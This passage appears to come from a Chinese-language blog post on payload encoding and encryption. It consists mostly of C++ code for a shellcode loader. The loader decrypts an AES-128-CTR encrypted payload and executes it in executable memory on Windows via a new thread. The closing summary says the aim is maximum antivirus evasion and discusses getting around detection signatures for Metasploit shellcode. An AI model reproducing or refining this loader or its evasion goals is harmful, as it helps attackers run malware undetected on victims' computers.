0; i < 4; i++) for (int j = 0; j < 4; j++) roundKey[j][i] = expandedKey[10*16 + i*4 + j]; AddRoundKey(state, roundKey); // 输出结果 for (int i = 0; i < 4; i++) for (int j = 0; j < 4; j++) output[i*4 + j] = state[j][i]; } // ===================== AES-128-CTR解密===================== uint8_t* AES128_CTR_Decrypt(uint8_t* encryptedData, uint8_t* key, int dataLen) { // 自动拆分:前16字节=IV(Python随机生成的),剩余=密文 uint8_t iv[16]; memcpy(iv, encryptedData, 16); uint8_t* ciphertext = encryptedData + 16; int cipherLen = dataLen - 16; uint8_t* plaintext = new uint8_t[cipherLen](); uint8_t counter[16], keyStream[16]; memcpy(counter, iv, 16); // 计数器初始值=Python生成的随机IV // CTR模式核心:加密计数器生成密钥流,异或得到明文 int blocks = cipherLen / 16; int remainder = cipherLen % 16; for (int i = 0; i < blocks; i++) { AES128_EncryptBlock(counter, key, keyStream); for (int j = 0; j < 16; j++) plaintext[i*16 + j] = ciphertext[i*16 + j] ^ keyStream[j]; // 计数器递增(大端序,和Python cryptography库完全一致) for (int j = 15; j >= 0; j--) { if (++counter[j] != 0) break; } } // 处理剩余字节 if (remainder > 0) { AES128_EncryptBlock(counter, key, keyStream); for (int j = 0; j < remainder; j++) plaintext[blocks*16 + j] = ciphertext[blocks*16 + j] ^ keyStream[j]; } return plaintext; } // ===================== 内存执行Shellcode ===================== void ExecuteShellcode(uint8_t* shellcode, int len) { LPVOID mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!mem) { printf("内存分配失败:%d\n", GetLastError()); return; } memcpy(mem, shellcode, len); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } VirtualFree(mem, 0, MEM_RELEASE); } int main() { // 1. 密钥 std::string keyHex = "替换为你的密钥十六进制字符串"; // 示例:"f8e4d2b0a9c876543210f8e4d2b0a9c8" uint8_t key[16]; for (int i = 0; i < 16; i++) key[i] = strtol(keyHex.substr(i*2, 2).c_str(), NULL, 16); // 2. 加密数据:替换为encrypted uint8_t encryptedData[] = { 0x99,0x88,0x77,0x66,0x55,0x44,0x33,0x22,0x11,0x00,0xaa,0xbb,0xcc,0xdd,0xee,0xff }; // 输入密文 int dataLen = sizeof(encryptedData); uint8_t* shellcode = AES128_CTR_Decrypt(encryptedData, key, dataLen); int shellcodeLen = dataLen - 16; // 明文长度=总长度-16字节IV ExecuteShellcode(shellcode, shellcodeLen); delete[] shellcode; return 0; }
总结
总结这里,我们以一个结合上述编码和加密技术且最好免杀效果的Payload结束
MSF的Shellcode的行为链、哈希、API调用序列等已经被深度标记,我们这里想着抛弃MSF的Shellcode另寻其他(或尝试去MSF特征),尽管我目前还未掌握自写Shellcode的能力,但为了达到更好的免杀效果我们还是试着突破。
这里我们先留着不急《.-.》
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/%e7%bc%96%e7%a0%81%e4%b8%8e%e5%8a%a0%e5%af%86%e6%8a%80%e6%9c%af/
aaa
很有帮助